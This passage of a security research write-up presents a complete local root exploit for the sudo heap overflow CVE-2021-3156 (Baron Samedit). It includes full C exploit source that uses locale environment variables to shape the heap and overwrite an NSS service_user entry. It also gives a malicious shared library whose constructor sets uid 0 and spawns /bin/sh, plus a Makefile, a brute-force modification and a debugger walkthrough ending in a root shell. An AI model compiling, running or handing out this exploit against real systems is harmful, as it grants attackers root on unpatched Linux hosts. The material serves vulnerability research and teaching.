11. Exploit

11.1. EXP Package

The full exploit implementation is already published in my repository:

Bash
git clone https://github.com/4xura/Fuzzing-Sudo.git 
cd Fuzzing-Sudo/CVE-2021-3156/exp
make
./xpl

11.1.1 Exploit PoC

By now the big picture is clear:

  • Heap Fengshui (via setlocale) seeds tcache with the right sizes.
  • set_cmnd allocates our vuln chunk (0xa0) right on top of a service_user (0x40).
  • Overflow via argv/env smashes down into the NSS target.
  • We flip service_user->library = NULL and replace service_user->name with a fake service string.
  • On the next nss_load_library call, glibc dutifully tries to dlopen("libnss_<fake>.so.2").
  • That's our shell.

The following PoC script itself should be enough to explain the ideas:

C
/**
 * Title      : Sudo Exploit for CVE-2021-3156 (Baron Samedit)
 * Date       : 2025-08-20
 * Author     : Axura (@4xura) - https://4xura.com
 * Writeup    : https://4xura.com/pwn/fuzzing-sudo-part-i-from-nss-to-heap-overflow-linking-cve-2025-4802-with-baron-samedit-cve-2021-3156/
 * Version    : Tested on Ubuntu 18.04.1, agains sudo 1.9.5p1
 * Credit     : Qualys Research Team
 *
 * Description:
 * ------------
 * An exploit for the classic Baron Samedita targeting sudo.
 * Using CVE-2025-4802 technique: setlocale for heap fengshui
 * to hijack pre-allocated NSS heap chunks.
 * When targeting a relatively new sudo (e.g., 1.9.5p1),
 * old PoCs may not work, for the function call cain has changed
 * Hijack the service_user structure from the "group" database. 
 * As only getgrouplist() will be called by sudoers_lookup()
 * to trigger nss_load_library(), after the vulnerable sudo 
 * function set_cmnd().
 *
 * Dependencies:
 * ------------
 *  - We need to know the delta distance between the vuln chunk
 *    and our target NSS chunk (e.g., service_user group("compat"))
 *    This can be varied from environment
 *  - Different /etc/nsswitch.conf will also affect the exploit.
 *    Usually it starts with "passwd ... group ..."
 *    but the number of services for each database (e.g., passwd,
 *    group) varies. Our target will be reaching "group" services.
 *    So prepare enough "cheeze" on top of the target chunk in 
 *    the "sandwitch" heap fengshui to consume irrelevant alloc.
 *
 * TODO:
 * -----
 * - Develop a BRUTEFORCE script for delta between vuln and target
 *   just turn DELTA and into argv[1]... - easy
 * - In case the victim target has a special /etc/nsswitch.conf,
 *   include a strategy to brute force this piece as well
 *
 * Usage:
 * ------
 * git clone https://github.com/4xura/Fuzzing-Sudo.git 
 * cd Fuzzing-Sudo/CVE-2021-3156/exp
 * make
 * ./xpl
 *
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <math.h>
#include <unistd.h>

#define __LC_CTYPE          0
#define __LC_NUMERIC        1
#define __LC_TIME           2
#define __LC_COLLATE        3
#define __LC_MONETARY       4
#define __LC_MESSAGES       5
#define __LC_ALL            6
#define __LC_PAPER          7
#define __LC_NAME           8
#define __LC_ADDRESS        9
#define __LC_TELEPHONE      10
#define __LC_MEASUREMENT    11
#define __LC_IDENTIFICATION 12

static const char *LC_KEYS[13] = {
    "LC_CTYPE",
    "LC_NUMERIC",
    "LC_TIME",
    "LC_COLLATE",
    "LC_MONETARY",
    "LC_MESSAGES",
    "LC_ALL",
    "LC_PAPER",
    "LC_NAME",
    "LC_ADDRESS",
    "LC_TELEPHONE",
    "LC_MEASUREMENT",
    "LC_IDENTIFICATION"
};

/* Knobs */
#define SUDOEDIT_PATH   "/usr/bin/sudoedit"
/*#define SUDOEDIT_PATH "/home/pwn/fuzz/proj/sudo-1.9.5p1/install/bin/sudo"*/
#define DEBUG 1

/* Vectors */
#define MAX_SLOT        0x1000
#define LOCALE_BASE     "C.UTF-8@"
#define SU_SZ           0x40        // service_user chunk size
#define VC_SZ           0xa0        // vuln chunk size
#define DELTA           0x6b0       // distance between vuln and target

static char *envp[MAX_SLOT];
static int env_pos  = 0;
static int category = 13;

/** 
 * Locale Size padding 
 * valid format:   C.UTF-8@<padding>
 * we can let:     value = "C.UTF-8@" + N 'A'
 * then:           request = strlen(value) + 1 = 9 + N
 * table:
    | Target bin (header)   | request range | choose N (since request = 9+N) |
    | --------------------- | ------------- | ------------------------------ |
    | 0x20 (0x21 shown)     | 1..24         | 0..15                          |
    | 0x30 (0x31)           | 25..40        | 16..31                         |
    | 0x40 (0x41)           | 41..56        | 32..47                         |
    | 0x50 (0x51)           | 57..72        | 48..63                         |
    | 0x60 (0x61)           | 73..88        | 64..79                         |
    | 0x70 (0x71)           | 89..104       | 80..95                         |
    | 0x80 (0x81)           | 105..120      | 96..111                        |
    | 0x90 (0x91)           | 121..136      | 112..127                       |
    | 0xA0 (0xA1)           | 137..152      | 128..143                       |
 */
static int _pad_locale(size_t size) {
    const size_t base = strlen(LOCALE_BASE) + 1;    // "C.UTF-8@" + "\0"
    long need = (size > base) ? ((long)size - 9) : 0;
    return (int)need;
}

/* push "LC_xxx=<value>" to envp[]*/
static void _push_lc_env(const char *k, const char *v) {
    size_t len = strlen(k) + 1 + strlen(v) + 1;     
    char *s = malloc(len);
    if (!s) _exit(111);
    snprintf(s, len, "%s=%s", k, v);
    envp[env_pos++] = s;
}

/* helpers */
static inline size_t align16(size_t x) { return (x + 0xf) & ~0xf; }

/**
 * Allocate a tcache-size chunk
 * Success allocation push a valid LC string to env
 * whose strdup() will land in tcache bin range
 * 1 env -> 1 size chunk
 * free all to tcache bins later
 */
static void add_tcache_chunk(size_t bin_sz) {
    category--;
    if (category == __LC_ALL) category--;       // skip LC_ALL 
    
    if (category >= 0) {
        bin_sz = align16(bin_sz);       
        if (bin_sz < 0x20) bin_sz = 0x20;
        
        size_t base_len = strlen(LOCALE_BASE);
        int need        = _pad_locale(bin_sz - 0x8);
        size_t len      = (size_t)need + base_len + 1;
        
        char *s = malloc(len);
        if (!s) _exit(111);
        
        memcpy(s, LOCALE_BASE, base_len);
        memset(s + base_len, 'A', need);
        s[base_len + need] = '\0';

        _push_lc_env(LC_KEYS[category], s);

#ifdef DEBUG
        fprintf(stderr, "[LC] %s='%s' (A=%d, request=0x%zx)\n", 
                LC_KEYS[category], s, need, (need+base_len+1));
#endif
        free(s);
    } else {
        perror("all LC categories are in use");
        _exit(222);
    }
}

/**
 * Cleanup frees
 * push an invalid LC to cleanup 
 * all pre-allocated LC chunks -> valid_locale_name() fails 
 */
static void free_tcache_chunks(void) {
    _push_lc_env(LC_KEYS[__LC_CTYPE], "bad/locale");
}

/** 
 * Sudoedit argv shaper 
 * overflow user_args chunk and corrupt its adjacent
 * the argv len decides alloc size for user_args (vuln chunk)
 */
char **set_argv(size_t vc_sz) {
    vc_sz = align16(vc_sz);     
    if (vc_sz < 0x20) vc_sz = 0x20;
    
    size_t cnt = vc_sz - 8 - 2; 
    char *buf = malloc(cnt + 2);
    if (!buf) return NULL;
    memset(buf, 'B', cnt);
    buf[cnt] = '\\';
    buf[cnt+1] = '\0';
    
    char **argv = malloc(4 * sizeof *argv);
    if (!argv) { free(buf); return NULL; }
    argv[0] = "sudoedit";   
    argv[1] = "-s";
    argv[2] = buf;          
    argv[3] = NULL;

    return argv;
}

/** 
 * Setup env for overflow
 * the very first env string will be copied after sudoedit args
 * also add "\\" + "\0" at the env string end to overflow
 */
void set_overflow_env(size_t vc_sz, int delta) {
    if (env_pos != 0) { perror("env"); _exit(333); }
    
    // Our "edging" algorithm will always leave 2-byte hole in user_args
    // e.g., vuln_chunk = malloc(0x98) with 0x96 junk bytes ("A") written 
    //       from    sudoedit -s "AAA..."   
    //       leaving 2 bytes to reach the next chunk
    // So we can first fill the gap with and env for 0x10 alignment
    envp[env_pos++] = "A=aaaaaaa\\";
    
    // Write Nulls starting from 0x?0 address until reaching target
    // we have already written one "\\" in above alignmetn env
    int offset = delta - (int)vc_sz;
    if (offset < 0) { perror("offset"); _exit(444); }
    for (int i = 1; i < offset; i++) {
        envp[env_pos++] = "\\";
    }
    
    /* Overwrite target service_user:
          typedef struct service_user {
              struct service_user *next;     // +0x00 (8)
              lookup_actions actions[5];     // +0x08 (5 * 4 = 20), +0x04 pad → 24 total
              service_library *library;      // +0x20 (8)
              void *known;                   // +0x28 (8)
              char name[0];                  // +0x30  ← flex tail starts here
          } service_user;                    // base sizeof = 0x30 (48)
     */
    for (int j = 0; j < 0x30; j++) {
        envp[env_pos++] = "\\";     // cover library == 0;
    }
    envp[env_pos++] = "X/pwn\\";    // name
    envp[env_pos++] = "\\";         // more Null? not necessary, but looks nicer
    envp[env_pos++] = "\\";
}   
    
int main(void) {
    // 1) Shape argv so user_args overflows and allocated from VC_SZ tcache
    //    define VC_SZ to a size rarely allocated in sudo
    char **argv = set_argv(VC_SZ);
#ifdef DEBUG
    fprintf(stderr, "[DBG] argv[] dump:\n");
    if (argv) {
        for (int i = 0; argv[i] != NULL; i++) {
            fprintf(stderr, "  argv[%d] = \"%s\"\n", i, argv[i]);
        }
    }
#endif
    
    // 2) Shape envp to overflow from vuln to target, when knowing their distance
    //    debug to find out delta between vuln and target chunks
    //    or use a brute force script to test around align16(0x300..0x1000)
    set_overflow_env(VC_SZ, DELTA);

    // 3) Seed bins: ask for specific chunk headers via LC_* values
    //    ( sandwitch heap fengshui: 0x40,0x40,0x40,0xa0,0x40)
    //    we target "group" database for trigger getgrouplist() after setcmnd()
    add_tcache_chunk(SU_SZ);    // junk
    add_tcache_chunk(SU_SZ);    // passwd("compat")
    add_tcache_chunk(SU_SZ);    // passwd("systemd")
    add_tcache_chunk(VC_SZ);    // vuln chunk
    add_tcache_chunk(SU_SZ);    // target: group("compat")
#ifdef DEBUG
    fprintf(stderr, "[DBG] envp[] dump:\n");
    if (*envp) {
        for (int i = 0; envp[i] != NULL; i++) {
            fprintf(stderr, "  envp[%d] = \"%s\"\n", i, envp[i]);
        }
    }
#endif

    // 4) Force failure so setlocale() frees the dup'd names
    free_tcache_chunks();

    // 5) Terminate envp
    envp[env_pos] = NULL;

    // 6) Exec target
    execve(SUDOEDIT_PATH, argv, envp);
    perror("execve");
    return 1;
}
Expand

We will explain how this script runs in the next category.

11.1.2. Rogue Library

We craft a malicious shared library that will be dlopen'd by glibc once our overflowed service_user->name points to it. Its constructor immediately escalates privileges and spawns a root shell:

C
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
static void __attribute__ ((constructor)) _init(void);
 
static void _init(void) {
    printf("[+] Pwn library loaded!\n");

    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *argv[] = { "sh", NULL };
    static char *envp[] = { "PATH=/bin:/usr/bin:/sbin:/usr/local/bin", NULL };
    execve("/bin/sh", argv, envp);
    
    printf("[!] This should not be reached!\n");
}

Compile with -fPIC -shared to libnss_X/pwn.so.2. The libnss_X directory name and file basename must match the service_user->name string we hijack (see §7.2.1).

11.1.3. Makefile

Automate the build process with a simple Makefile:

Makefile
all: lib xpl

lib: lib.c
	mkdir -p libnss_X
	$(CC) -fPIC -shared -o libnss_X/pwn.so.2 lib.c

xpl: xpl.c
	$(CC) -O0 -g -Wall -o xpl xpl.c

clean:
	rm -rf libnss_X xpl

make builds both exploit and library, make clean wipes artifacts.

11.1.4. Brute Force

Offsets between vuln chunk and target chunk vary with system (glibc version, distro defaults, /etc/nsswitch.conf, etc.). For instance:

/etc/nsswitch.conf
passwd:         compat systemd		# skip
group:          compat systemd		# [!] optional target 1
shadow:         compat				    # skip
gshadow:        files				      # skip
...
netgroup:       nis					      # [!] optional target 2

Depending on how many pre-allocated service_user chunks are consumed, we may need to adjust the overflow distance (DELTA) or seed count.

Instead of hand-tuning every environment, we can brute-force these parameters:

Diff
- #define DELTA           0x6b0       // distance between vuln and target

...
    
- int main(void) {
+ int main(int argc, char *argv[]) {    
    ...
    
+    if (argc < 3) {
+      fprintf(stderr, "Usage: %s <delta> <n_seed>\n", argv[0]);
+      return 1;
+    }
+    int delta = strtol(argv[1], NULL, 0);
+    int n_seed = strtol(argv[2], NULL, 0);
        
     ...
    
-    set_overflow_env(VC_SZ, DELTA);
+	   set_overflow_env(VC_SZ, delta);
    
     ...

-	   add_tcache_chunk(SU_SZ);    // junk    	
-    add_tcache_chunk(SU_SZ);    // passwd("compat")
-    add_tcache_chunk(SU_SZ);    // passwd("systemd")
+    for (int i = 0; i < n_seed; i++) {
+      add_tcache_chunk(SU_SZ);  // skip
+    }

+    add_tcache_chunk(VC_SZ);    // vuln chunk
+    add_tcache_chunk(SU_SZ);    // target: group("compat")

This lets us sweep delta and n_seed ranges automatically. A simple Bash wrapper can fuzz parameters until a stable root shell emerges.

11.1.5. Exploit Project Tree

After compilation, the project tree looks like:

$ tree exp

exp
├── lib.c
├── libnss_X/
│   └── pwn.so.2*
├── Makefile
├── xpl*
└── xpl.c

11.2. Debugging Exploit

Let's now walk through the exploit under GDB to see how the pieces line up.

Our exploit script skips the first three 0x40 tcache chunks before placing the vuln chunk and target chunk:

C
add_tcache_chunk(SU_SZ);    // junk
add_tcache_chunk(SU_SZ);    // passwd("compat")
add_tcache_chunk(SU_SZ);    // passwd("systemd")
add_tcache_chunk(VC_SZ);    // vuln chunk
add_tcache_chunk(SU_SZ);    // target: group("compat")

The NSS allocator sequence looks like this:

#chunk0	0x20:	name_database("service_table")

#chunk1	0x20:	name_database_entry("passwd")
#chunk2	0x40:	service_user("passwd->compat")
#chunk3	0x40:	service_user("passwd->systemd")

#chunk4	0x20:	name_database_entry("group")
#chunk5	0x40:	service_user("group->compat")	// <-- our target
#chunk6	0x40:	service_user("group->compat")
...

We don't bother with the 0x20 entries — only the 0x40 service_user objects matter. The goal is to exhaust the earlier ones and position #chunk5 right under our vuln chunk.

Heap fengshui via setlocale sets this up cleanly:

fuzz_sudo_1-91

Target in position, directly beneath the vuln buffer:

fuzz_sudo_1-92

The calculated DELTA offset is small enough to bridge in a reliable overflow. Once set_cmnd consumes the 0xa0 chunk for user_args, the vuln chunk is live and under our control:

fuzz_sudo_1-93

Inspecting memory at 0x555555804660 reveals our target — originally the "compat" service_user for the "group" DB, now corrupted into "X/pwn" with library == 0:

fuzz_sudo_1-94
fuzz_sudo_1-95

Break at nss_load_library, and it's the first NSS object resolved inside glibc's getgrouplist stack:

fuzz_sudo_1-96

Because we nulled out the library pointer, glibc calls nss_new_service, attaches a new one:

fuzz_sudo_1-97

It couldn't find the service name "X/pwn" from any existing database, so it copies the new name, and Nulls out the lib_handle pointer:

fuzz_sudo_1-98

SInce lib_handle is now Null, this forces a fresh dlopen path. The service name "X/pwn" gets concatenated into the final filename:

fuzz_sudo_1-99

And the moment arrives — glibc's __libc_dlopen dutifully pulls in our rogue library "libnss_X/pwn.so.2":

fuzz_sudo_1-100

Which instantly yields a root shell:

fuzz_sudo_1-101

Game over.

See you in Part II: CVE-2025-32463.